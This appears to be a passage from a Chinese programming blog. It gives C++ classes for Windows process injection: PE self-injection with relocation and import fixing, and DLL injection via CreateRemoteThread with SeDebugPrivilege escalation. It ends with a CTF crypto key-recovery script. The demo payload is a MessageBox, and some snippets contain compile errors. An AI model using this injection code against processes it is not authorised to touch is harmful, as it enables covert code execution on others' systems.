PIMAGE\_NT\_HEADERS pNtHeader = NULL;
LPBYTE lpRelocTable;
PIMAGE\_BASE\_RELOCATION pBaseReloc;
//获取ntheader
pNtHeader = (PIMAGE\_NT\_HEADERS)(lpImage + ((PIMAGE\_DOS\_HEADER)lpImage)->e_lfanew);
//获取重定位表位置
lpRelocTable = lpImage + pNtHeader->OptionalHeader.DataDirectory\[5\].VirtualAddress;
pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;
//获取重定位表偏移
dwRelocOffset = (DWORD)lpInjectBase - pNtHeader->OptionalHeader.ImageBase;
//遍历重定位表,修正需要重定位的代码
while (pBaseReloc->VirtualAddress != NULL)
{
lpwOffset = (WORD*)(lpRelocTable + sizeof(IMAGE\_BASE\_RELOCATION));
dwRvaCount = (pBaseReloc->SizeOfBlock - sizeof(IMAGE\_BASE\_RELOCATION)) / 2;
//循环修正
for (DWORD i = 0; i < dwRvaCount; i++)
{
//获取要修正的RVA
dwRva = (DWORD)lpImage + (pBaseReloc->VirtualAddress) + (DWORD)(*lpwOffset & 0x0fff);
//RVA加上修正量进行修正
*(DWORD*)dwRva += dwRelocOffset;
lpwOffset++;
}
//指向下一页重定位信息处
lpRelocTable += pBaseReloc->SizeOfBlock;
pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;
}
}
//用于完成API函数的导入,参数为要插入代码处地址
BOOL LoadAPI(LPBYTE lpInjectBase)
{
PIMAGE\_DOS\_HEADER pDosHeader = (PIMAGE\_DOS\_HEADER)lpInjectBase;
PIMAGE\_NT\_HEADERS pNtHeader = (PIMAGE\_NT\_HEADERS)(lpInjectBase + pDosHeader->e_lfanew);
PIMAGE\_IMPORT\_DESCRIPTOR pImportDescriptor = (PIMAGE\_IMPORT\_DESCRIPTOR)
(lpInjectBase + pNtHeader->OptionalHeader.DataDirectory\[1\].VirtualAddress);
for (; pImportDescriptor->OriginalFirstThunk != 0; pImportDescriptor++)//遍历导入表
{
HMODULE hDll = LoadLibraryA((LPCSTR)(lpInjectBase + pImportDescriptor->Name));
//上面能直接引用LoadLibrary是由于本地和远程进程中该函数地址都是相同的
if (hDll == NULL)
return FALSE;
PIMAGE\_THUNK\_DATA Origin = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor->OriginalFirstThunk);
PIMAGE\_THUNK\_DATA First = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor->FirstThunk);
LPCSTR Name = NULL;
PIMAGE\_IMPORT\_BY\_NAME Import\_name = NULL;
for (; Origin->u1.Ordinal != 0; Origin++, First++)
{
if (Origin->u1.Ordinal & IMAGE\_ORDINAL\_FLAG)
Name = (LPCSTR)IMAGE_ORDINAL(Origin->u1.Ordinal);
else
{
Import\_name = (PIMAGE\_IMPORT\_BY\_NAME)(lpInjectBase + (DWORD)(Origin->u1.AddressOfData));
Name = (LPCSTR)Import_name->Name;
}
First->u1.Function = (DWORD )GetProcAddress(hDll, Name);
//上面能直接引用GetProcAddress是由于本地和远程进程中该函数地址都是相同的
if (First->u1.Function == NULL)
return FALSE;
}
}
return TRUE;
}
//远程要执行的代码,在这里只演示MessageBox
DWORD RemoteThread_Main(HINSTANCE hInstance)
{
::MessageBox(0, \_T("远程线程插入成功!"), \_T("远程线程"), 0);
return 0;
}
//CreateRemoteThread的线程运行入口
DWORD ThreadEntry(LPBYTE lpImageBase)
{
if (LoadAPI(lpImageBase))//先完成API函数的导入工作
RemoteThread\_Main((HINSTANCE)lpImageBase); //执行函数RemoteThread\_Main中的代码
return 0;
}
//注入
BOOL Inject(DWORD dwProcessID)
{
LPBYTE lpNewMoudle = NULL;
HANDLE hRemoteProcess = NULL;
HANDLE hRemoteThread = NULL;
BOOL bRet=TRUE;
__try
{
//获取自身句柄
LPBYTE lpMoudle = NULL;
lpMoudle = (LPBYTE)GetModuleHandle(NULL);
if (lpMoudle == NULL)
{
OutputDebugString(_T("GetModuleHandle failedn"));
bRet = FALSE;
__leave;
}
//获取NT_HEADER
PIMAGE\_NT\_HEADERS pNtHeader = NULL;
pNtHeader = (PIMAGE\_NT\_HEADERS)(lpMoudle + ((PIMAGE\_DOS\_HEADER)lpMoudle)->e_lfanew);
//得到自身映像大小
DWORD dwImageSize;
dwImageSize = pNtHeader->OptionalHeader.SizeOfImage;
//在当前空间申请空间存放自身代码
lpNewMoudle = (LPBYTE)VirtualAlloc(NULL, dwImageSize, MEM\_COMMIT | MEM\_RESERVE,
PAGE\_EXECUTE\_READWRITE);
if (lpNewMoudle == NULL)
{
OutputDebugString(_T("VirtualAlloc failedn"));
bRet = FALSE;
__leave;
}
//拷贝自身到buffer
PIMAGE\_NT\_HEADERS pNewNtHeader = NULL;
memcpy_s(lpNewMoudle, dwImageSize, lpMoudle, dwImageSize);
//获取Buffer中NtHeader
pNewNtHeader = (PIMAGE\_NT\_HEADERS)(lpNewMoudle + ((PIMAGE\_DOS\_HEADER)lpMoudle)->e_lfanew);
//获取远程进程ID
dwProcessID = 1516;
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwProcessID);
if (hRemoteProcess == NULL)
{
OutputDebugString(_T("OpenProcess failedn"));
bRet = FALSE;
__leave;
}
//在远程进程申请空间
LPBYTE lpInjectPoint;
lpInjectPoint = (LPBYTE)VirtualAllocEx(hRemoteProcess, 0, dwImageSize, MEM\_COMMIT, PAGE\_EXECUTE_READWRITE);
if (lpInjectPoint == NULL)
{
OutputDebugString(_T("VirtualAllocEx failedn"));
bRet = FALSE;
__leave;
}
//重定位NewMoudle代码
RelocCode(lpNewMoudle, lpInjectPoint);
//得到ThreadEntry在远程进程中的地址
LPTHREAD\_START\_ROUTINE lpRemoteEntryPoint;
LPBYTE lpParam;
lpRemoteEntryPoint = (LPTHREAD\_START\_ROUTINE)(lpInjectPoint + (DWORD)&ThreadEntry - lpMoudle);
//将插入点地址作为参数传递给线程函数
lpParam = lpInjectPoint;
//将重定位好的代码通过WriteProcessMemory写入远程进程的内存空间中
if (!WriteProcessMemory(hRemoteProcess, lpInjectPoint, lpNewMoudle, dwImageSize, NULL))
{
OutputDebugString(_T("WriteProcessMemory failedn"));
bRet = FALSE;
__leave;
}
//通过CreateRemoteThread启动刚写入的代码,参数为Param
hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, lpRemoteEntryPoint, lpParam, 0, NULL);
if (hRemoteThread == NULL)
{
OutputDebugString(_T("CreateRemoteThread failedn"));
bRet = FALSE;
__leave;
}
// //等待线程执行完成
// WaitForSingleObject(hRemoteThread, INFINITE);
//
// //获取完成返回值
// DWORD dwExitCode;
// if (!GetExitCodeThread(hRemoteThread, &dwExitCode))
// {
// OutputDebugString(_T("GetExitCodeThread failedn"));
// bRet = FALSE;
// __leave;
// }
}
__finally
{
if (lpNewMoudle != NULL)
{
VirtualFree(lpNewMoudle, 0, MEM_RELEASE);
}
if (hRemoteProcess != NULL)
{
CloseHandle(hRemoteProcess);
}
}
return bRet;
}

0x04 封装成类

把整个实现封装成了一个类,方便调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
#pragma once
class CInjectCode
{
public:
CInjectCode(DWORD (*fn)(HINSTANCE));
~CInjectCode();
void SetRemoteThread_Main(DWORD(*fn)(HINSTANCE));
//注入
BOOL Inject(DWORD dwProcessID);
BOOL Inject(const wchar_t* wszProcessName);
private:
//完成重定位
void RelocCode(LPBYTE lpImage, LPBYTE lpInjectBase);
//用于完成API函数的导入,参数为要插入代码处地址
BOOL LoadAPI(LPBYTE lpInjectBase);
//CreateRemoteThread的线程运行入口
DWORD ThreadEntry(LPBYTE lpImageBase);
//通过进程名获取进程ID
BOOL GetProcessIDByName(const wchar_t* wszProcessName, DWORD& dwProcID);
//提升se_debug权限
BOOL AdjustProcessTokenPrivilege();
private:
//远程执行的函数指针
DWORD(*fnRemoteThread_Main)(HINSTANCE);
};
 
#include "stdafx.h"
#include "InjectCode.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <memory.h>
#include <TlHelp32.h>
CInjectCode::CInjectCode(DWORD(*fn)(HINSTANCE))
{
SetRemoteThread_Main(fn);
}
CInjectCode::~CInjectCode()
{
}
void CInjectCode::SetRemoteThread_Main(DWORD(*fn)(HINSTANCE))
{
fnRemoteThread_Main = fn;
}
//提升se_debug权限
BOOL CInjectCode::AdjustProcessTokenPrivilege()
{
LUID luidTmp;
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN\_ADJUST\_PRIVILEGES | TOKEN_QUERY, &hToken))
{
OutputDebugString(_T("AdjustProcessTokenPrivilege OpenProcessToken Failed ! n"));
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE\_DEBUG\_NAME, &luidTmp))
{
OutputDebugString(_T("AdjustProcessTokenPrivilege LookupPrivilegeValue Failed ! n"));
CloseHandle(hToken);
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges\[0\].Luid = luidTmp;
tkp.Privileges\[0\].Attributes = SE\_PRIVILEGE\_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
{
OutputDebugString(_T("AdjustProcessTokenPrivilege AdjustTokenPrivileges Failed ! n"));
CloseHandle(hToken);
return FALSE;
}
return TRUE;
}
//完成重定位
void CInjectCode::RelocCode(LPBYTE lpImage, LPBYTE lpInjectBase)
{
DWORD dwRva = 0, dwRvaCount = 0, dwRelocOffset = 0;
LPWORD lpwOffset = NULL;
PIMAGE\_NT\_HEADERS pNtHeader = NULL;
LPBYTE lpRelocTable;
PIMAGE\_BASE\_RELOCATION pBaseReloc;
//获取ntheader
pNtHeader = (PIMAGE\_NT\_HEADERS)(lpImage + ((PIMAGE\_DOS\_HEADER)lpImage)->e_lfanew);
//获取重定位表位置
lpRelocTable = lpImage + pNtHeader->OptionalHeader.DataDirectory\[5\].VirtualAddress;
pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;
//获取重定位表偏移
dwRelocOffset = (DWORD)lpInjectBase - pNtHeader->OptionalHeader.ImageBase;
//遍历重定位表,修正需要重定位的代码
while (pBaseReloc->VirtualAddress != NULL)
{
lpwOffset = (WORD*)(lpRelocTable + sizeof(IMAGE\_BASE\_RELOCATION));
dwRvaCount = (pBaseReloc->SizeOfBlock - sizeof(IMAGE\_BASE\_RELOCATION)) / 2;
//循环修正
for (DWORD i = 0; i < dwRvaCount; i++)
{
//获取要修正的RVA
dwRva = (DWORD)lpImage + (pBaseReloc->VirtualAddress) + (DWORD)(*lpwOffset & 0x0fff);
//RVA加上修正量进行修正
*(DWORD*)dwRva += dwRelocOffset;
lpwOffset++;
}
//指向下一页重定位信息处
lpRelocTable += pBaseReloc->SizeOfBlock;
pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;
}
}
//用于完成API函数的导入,参数为要插入代码处地址
BOOL CInjectCode::LoadAPI(LPBYTE lpInjectBase)
{
PIMAGE\_DOS\_HEADER pDosHeader = (PIMAGE\_DOS\_HEADER)lpInjectBase;
PIMAGE\_NT\_HEADERS pNtHeader = (PIMAGE\_NT\_HEADERS)(lpInjectBase + pDosHeader->e_lfanew);
PIMAGE\_IMPORT\_DESCRIPTOR pImportDescriptor = (PIMAGE\_IMPORT\_DESCRIPTOR)
(lpInjectBase + pNtHeader->OptionalHeader.DataDirectory\[1\].VirtualAddress);
for (; pImportDescriptor->OriginalFirstThunk != 0; pImportDescriptor++)//遍历导入表
{
HMODULE hDll = LoadLibraryA((LPCSTR)(lpInjectBase + pImportDescriptor->Name));
//上面能直接引用LoadLibrary是由于本地和远程进程中该函数地址都是相同的
if (hDll == NULL)
return FALSE;
PIMAGE\_THUNK\_DATA Origin = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor->OriginalFirstThunk);
PIMAGE\_THUNK\_DATA First = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor->FirstThunk);
LPCSTR Name = NULL;
PIMAGE\_IMPORT\_BY\_NAME Import\_name = NULL;
for (; Origin->u1.Ordinal != 0; Origin++, First++)
{
if (Origin->u1.Ordinal & IMAGE\_ORDINAL\_FLAG)
Name = (LPCSTR)IMAGE_ORDINAL(Origin->u1.Ordinal);
else
{
Import\_name = (PIMAGE\_IMPORT\_BY\_NAME)(lpInjectBase + (DWORD)(Origin->u1.AddressOfData));
Name = (LPCSTR)Import_name->Name;
}
First->u1.Function = (DWORD)GetProcAddress(hDll, Name);
//上面能直接引用GetProcAddress是由于本地和远程进程中该函数地址都是相同的
if (First->u1.Function == NULL)
return FALSE;
}
}
return TRUE;
}
//CreateRemoteThread的线程运行入口
DWORD CInjectCode::ThreadEntry(LPBYTE lpImageBase)
{
if (LoadAPI(lpImageBase))//先完成API函数的导入工作
fnRemoteThread\_Main((HINSTANCE)lpImageBase); //执行函数RemoteThread\_Main中的代码
return 0;
}
//通过进程名获取进程ID
BOOL CInjectCode::GetProcessIDByName(const wchar_t* wszProcessName, DWORD& dwProcID)
{
HANDLE hSnapShot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, dwProcID);
PROCESSENTRY32 pe = { sizeof(pe) };
BOOL bOk = ::Process32First(hSnapShot, &pe);
while (bOk)
{
if (wcsstr(pe.szExeFile, wszProcessName) != NULL)
{
dwProcID = pe.th32ProcessID;
return TRUE;
}
bOk = ::Process32Next(hSnapShot, &pe);
}
::CloseHandle(hSnapShot);
return FALSE;
}
//远程注入
BOOL CInjectCode::Inject(DWORD dwProcessID)
{
LPBYTE lpNewMoudle = NULL;
HANDLE hRemoteProcess = NULL;
HANDLE hRemoteThread = NULL;
BOOL bRet = TRUE;
__try
{
//获取自身句柄
LPBYTE lpMoudle = NULL;
lpMoudle = (LPBYTE)GetModuleHandle(NULL);
if (lpMoudle == NULL)
{
OutputDebugString(_T("GetModuleHandle failedn"));
bRet = FALSE;
__leave;
}
//获取NT_HEADER
PIMAGE\_NT\_HEADERS pNtHeader = NULL;
pNtHeader = (PIMAGE\_NT\_HEADERS)(lpMoudle + ((PIMAGE\_DOS\_HEADER)lpMoudle)->e_lfanew);
//得到自身映像大小
DWORD dwImageSize;
dwImageSize = pNtHeader->OptionalHeader.SizeOfImage;
//在当前空间申请空间存放自身代码
lpNewMoudle = (LPBYTE)VirtualAlloc(NULL, dwImageSize, MEM\_COMMIT | MEM\_RESERVE,
PAGE\_EXECUTE\_READWRITE);
if (lpNewMoudle == NULL)
{
OutputDebugString(_T("VirtualAlloc failedn"));
bRet = FALSE;
__leave;
}
//拷贝自身到buffer
PIMAGE\_NT\_HEADERS pNewNtHeader = NULL;
memcpy_s(lpNewMoudle, dwImageSize, lpMoudle, dwImageSize);
//获取Buffer中NtHeader
pNewNtHeader = (PIMAGE\_NT\_HEADERS)(lpNewMoudle + ((PIMAGE\_DOS\_HEADER)lpMoudle)->e_lfanew);
//提升权限
if (!AdjustProcessTokenPrivilege())
{
OutputDebugString(_T("OpenProcess failedn"));
}
//打开远程进程
hRemoteProcess = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwProcessID);
if (hRemoteProcess == NULL)
{
OutputDebugString(_T("OpenProcess failedn"));
bRet = FALSE;
__leave;
}
//在远程进程申请空间
LPBYTE lpInjectPoint;
lpInjectPoint = (LPBYTE)VirtualAllocEx(hRemoteProcess, 0, dwImageSize, MEM\_COMMIT, PAGE\_EXECUTE_READWRITE);
if (lpInjectPoint == NULL)
{
OutputDebugString(_T("VirtualAllocEx failedn"));
bRet = FALSE;
__leave;
}
//重定位NewMoudle代码
RelocCode(lpNewMoudle, lpInjectPoint);
//得到ThreadEntry在远程进程中的地址
LPTHREAD\_START\_ROUTINE lpRemoteEntryPoint;
LPBYTE lpParam;
lpRemoteEntryPoint = (LPTHREAD\_START\_ROUTINE)(lpInjectPoint + (DWORD)fnRemoteThread_Main - lpMoudle);
//将插入点地址作为参数传递给线程函数
lpParam = lpInjectPoint;
//将重定位好的代码通过WriteProcessMemory写入远程进程的内存空间中
if (!WriteProcessMemory(hRemoteProcess, lpInjectPoint, lpNewMoudle, dwImageSize, NULL))
{
OutputDebugString(_T("WriteProcessMemory failedn"));
bRet = FALSE;
__leave;
}
//通过CreateRemoteThread启动刚写入的代码,参数为Param
hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, lpRemoteEntryPoint, lpParam, 0, NULL);
if (hRemoteThread == NULL)
{
OutputDebugString(_T("CreateRemoteThread failedn"));
bRet = FALSE;
__leave;
}
// //等待线程执行完成
// WaitForSingleObject(hRemoteThread, INFINITE);
//
// //获取完成
// DWORD dwExitCode;
// if (!GetExitCodeThread(hRemoteThread, &dwExitCode))
// {
// OutputDebugString(_T("GetExitCodeThread failedn"));
// bRet = FALSE;
// __leave;
// }
}
__finally
{
if (lpNewMoudle != NULL)
{
VirtualFree(lpNewMoudle, 0, MEM_RELEASE);
}
if (hRemoteProcess != NULL)
{
CloseHandle(hRemoteProcess);
}
}
return bRet;
}
//重载使用进程名
BOOL CInjectCode::Inject(const wchar_t* wszProcessName)
{
DWORD dwProcID;
if (GetProcessIDByName(wszProcessName, dwProcID))
{
return Inject(dwProcID);
}
else
{
OutputDebugString(_T("GetProcessIDByName failedn"));
return FALSE;
}
}
附上使用demo
#include "InjectCode.h"
//远程要执行的代码,在这里只演示MessageBox
DWORD RemoteThread_Main1(HINSTANCE hInstance)
{
::MessageBox(0, \_T("远程线程插入成功!"), \_T("远程线程"), 0);
return 0;
}
DWORD RemoteThread_Main2(HINSTANCE hInstance)
{
::MessageBox(0, \_T("远程线程插入成功!"), \_T("远程线程"), 0);
return 0;
}
int \_tmain(int argc, \_TCHAR* argv\[\])
{
CInjectCode injectcode(RemoteThread_Main1);
if injectcode.Inject(L"notepad++.exe");
injectcode.SetRemoteThread\_Main(RemoteThread\_Main2);
injectcode.Inject(164);
return 0;
}

Comment and share

找到之前写的个类,ring3实现DLL注入进程,Inject()注入,Uninject()卸载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
/************************************************************************/
/*
Yufan
CInjectDLL a class for DLL injection
to inject use Inject()
to uninject use Uninject()
*/
/************************************************************************/
#pragma once
#include "stdafx.h"
class CInjectDLL
{
public:
CInjectDLL(void);
BOOL Inject(const DWORD dwRemoteProcessID, const LPCTSTR& lpwszRemoteDllFullPath);
BOOL Inject(const LPCWSTR wszProcessName, const LPCTSTR& lpwszRemoteDllFullPath);
BOOL Uninject(const DWORD dwRemoteProcessID, const LPCTSTR& lpwszRemoteDllFullPath);
BOOL Uninject(const LPCWSTR wszProcessName, const LPCTSTR& lpwszRemoteDllFullPath);
~CInjectDLL(void);
private:
BOOL AdjustProcessTokenPrivilege();
BOOL GetProcessID(const wchar_t* wszProcessName, DWORD& dwProcID);
};
/************************************************************************/
/*
Yufan
CInjectDLL a class for DLL injection
to inject use Inject()
to uninject use Uninject()
*/
/************************************************************************/
#pragma once
#include "StdAfx.h"
#include "InjectDLL.h"
#include <Windows.h>
#include <string>
#include "tlhelp32.h"
CInjectDLL::CInjectDLL(void)
{
}
CInjectDLL::~CInjectDLL(void)
{
}
BOOL CInjectDLL::Inject(const DWORD dwRemoteProcessID, const LPCTSTR& lpwszRemoteDllFullPath)
{
std::wstring wstrRemoteDllFullPath = lpwszRemoteDllFullPath;
BOOL bRet;
if (!AdjustProcessTokenPrivilege())
{
OutputDebugString(_T("AdjustProcessTokenPrivilege failn"));
}
HANDLE hRemoteProgress = ::OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwRemoteProcessID);
if (hRemoteProgress == NULL)
{
OutputDebugString(_T("OpenProcess failn"));
return FALSE;
}
// Allocate remote memory
DWORD dwMemSize = sizeof(wchar_t)*wstrRemoteDllFullPath.length()+1;
wchar\_t* wszDllPath = reinterpret\_cast<wchar\_t*>(::VirtualAllocEx(hRemoteProgress, NULL, dwMemSize, MEM\_COMMIT, PAGE_READWRITE));
if (wszDllPath == NULL)
{
OutputDebugString(_T("VirtualAllocEx failn"));
::CloseHandle(hRemoteProgress);
return FALSE;
}
// Write remote Memory
bRet = ::WriteProcessMemory(hRemoteProgress, wszDllPath, wstrRemoteDllFullPath.c_str(), dwMemSize, NULL);
if (!bRet)
{
OutputDebugString(_T("WriteProcessMemory failn"));
::CloseHandle(hRemoteProgress);
return FALSE;
}
// Create remote thread
FARPROC pfnFunAddr = ::GetProcAddress(::GetModuleHandle(_T("Kernel32")),"LoadLibraryW");
if (pfnFunAddr == NULL)
{
OutputDebugString(_T("GetProcAddress failn"));
::CloseHandle(hRemoteProgress);
return FALSE;
}
HANDLE hCreateThread;
hCreateThread = ::CreateRemoteThread(hRemoteProgress, NULL, 0, (LPTHREAD\_START\_ROUTINE) pfnFunAddr, wszDllPath, 0, NULL);
if (hCreateThread == NULL)
{
OutputDebugString(_T("CreateRemoteThread failn"));
::CloseHandle(hRemoteProgress);
::CloseHandle(hCreateThread);
return FALSE;
}
// Wait for thread return
// DWORD hLibModule;
// WaitForSingleObject(hCreateThread, INFINITE);
// GetExitCodeThread(hCreateThread, &hLibModule);
::VirtualFreeEx(hRemoteProgress, reinterpret\_cast<LPVOID>(wszDllPath), dwMemSize, MEM\_COMMIT);
::CloseHandle(hCreateThread);
::CloseHandle(hRemoteProgress);
return TRUE;
}
BOOL CInjectDLL::Inject(const wchar_t* wszProcessName, const LPCTSTR& lpwszRemoteDllFullPath)
{
DWORD dwProcID;
GetProcessID(wszProcessName,dwProcID);
if (Inject(dwProcID, lpwszRemoteDllFullPath))
return TRUE;
else
return FALSE;
}
BOOL CInjectDLL::Uninject(const DWORD dwRemoteProcessID, const LPCTSTR& lpwszRemoteDllFullPath)
{
std::wstring wstrRemoteDllFullPath = lpwszRemoteDllFullPath;
// Find injected DLL handle
HANDLE hSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwRemoteProcessID);
MODULEENTRY32 Me32 = {0};
Me32.dwSize = sizeof(MODULEENTRY32);
BOOL bRet = ::Module32First(hSnap, &Me32);
while (bRet)
{
if (wcscmp(Me32.szExePath, wstrRemoteDllFullPath.c_str()) == 0)
{
break;
}
bRet = ::Module32Next(hSnap, &Me32);
}
::CloseHandle(hSnap);
HANDLE hRemoteProgress = ::OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwRemoteProcessID);
if (hRemoteProgress == NULL)
{
OutputDebugString(_T("OpenProcess failn"));
return FALSE;
}
// Create remote thread
FARPROC pfnFunAddr = ::GetProcAddress(::GetModuleHandle(_T("Kernel32")),"FreeLibrary");
if (pfnFunAddr == NULL)
{
OutputDebugString(_T("GetProcAddress failn"));
::CloseHandle(hRemoteProgress);
return FALSE;
}
HANDLE hCreateThread;
hCreateThread = ::CreateRemoteThread(hRemoteProgress, NULL, 0, (LPTHREAD\_START\_ROUTINE)pfnFunAddr, Me32.hModule, 0, NULL);
if (hCreateThread == NULL)
{
OutputDebugString(_T("CreateRemoteThread failn"));
::CloseHandle(hRemoteProgress);
::CloseHandle(hCreateThread);
return FALSE;
}
// Wait for thread return
//DWORD hLibModule;
//WaitForSingleObject(hCreateThread, INFINITE);
//GetExitCodeThread(hCreateThread, &hLibModule);
::CloseHandle(hCreateThread);
::CloseHandle(hRemoteProgress);
return TRUE;
}
BOOL CInjectDLL::Uninject(const wchar_t* wszProcessName, const LPCTSTR& lpwszRemoteDllFullPath)
{
DWORD dwProcID;
GetProcessID(wszProcessName,dwProcID);
if (Uninject(dwProcID, lpwszRemoteDllFullPath))
return TRUE;
else
return FALSE;
}
BOOL CInjectDLL::AdjustProcessTokenPrivilege()
{
LUID luidTmp;
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN\_ADJUST\_PRIVILEGES | TOKEN_QUERY, &hToken))
{
OutputDebugString(_T("AdjustProcessTokenPrivilege OpenProcessToken Failed ! n"));
return FALSE;
}
if(!LookupPrivilegeValue(NULL, SE\_DEBUG\_NAME, &luidTmp))
{
OutputDebugString(_T("AdjustProcessTokenPrivilege LookupPrivilegeValue Failed ! n"));
CloseHandle(hToken);
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges\[0\].Luid = luidTmp;
tkp.Privileges\[0\].Attributes = SE\_PRIVILEGE\_ENABLED;
if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
{
OutputDebugString(_T("AdjustProcessTokenPrivilege AdjustTokenPrivileges Failed ! n"));
CloseHandle(hToken);
return FALSE;
}
return TRUE;
}
BOOL CInjectDLL::GetProcessID(const wchar_t* wszProcessName, DWORD& dwProcID)
{
HANDLE hSnapShot = ::CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, dwProcID );
PROCESSENTRY32 pe = {sizeof(pe)};
BOOL bOk = ::Process32First( hSnapShot, &pe );
while( bOk )
{
//wprintf(TEXT("ProcessID : %d, Name : %sn"), pe.th32ProcessID, pe.szExeFile);
if (wcsstr(pe.szExeFile, wszProcessName)!=NULL)
{
dwProcID = pe.th32ProcessID;
return TRUE;
}
bOk = ::Process32Next( hSnapShot, &pe );
}
::CloseHandle(hSnapShot);
return FALSE;
}

Comment and share

题目 买不到TI4的门票觉得人生好灰暗。。ACTF2014crypto200.tar ————割———— 解压以后是一个加密脚本,注意key是未知的,所以先研究算法想办法推出加密的key。 已知明文msg01和密文msg01.enc。 研究算法发现对明文加密时只用到上一位的密文以及key[i%len(key)]即key中的一个字符,并且是按位加密。 于是可以从msg01第一位开始遍历0-9a-zA-Z,与msg01.enc匹配就可以得到key的第一位,然后以此类推就能推出全部的key 代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
g2 = open('msg01.enc.ord', 'rb')
key = ''
c = ''
str = ''
t = chr(0)
i = 0
find = 0
ckey = g2.read(1)
realkey=''
for p in f:
for k1 in range(0, 256):
k1 = chr(k1)
find=0
c = chr(( ord(p) + (ord(k1) ^ ord(t)) + i**i ) & 0xff)
if c == ckey:
print 'get %d is %c' % (i, k1)
realkey += k1
find = 1
break
if find ==0:
print 'cant find NO.', i
break
t = p
i += 1
ckey = g2.read(1)
print repr(realkey)
g.close()
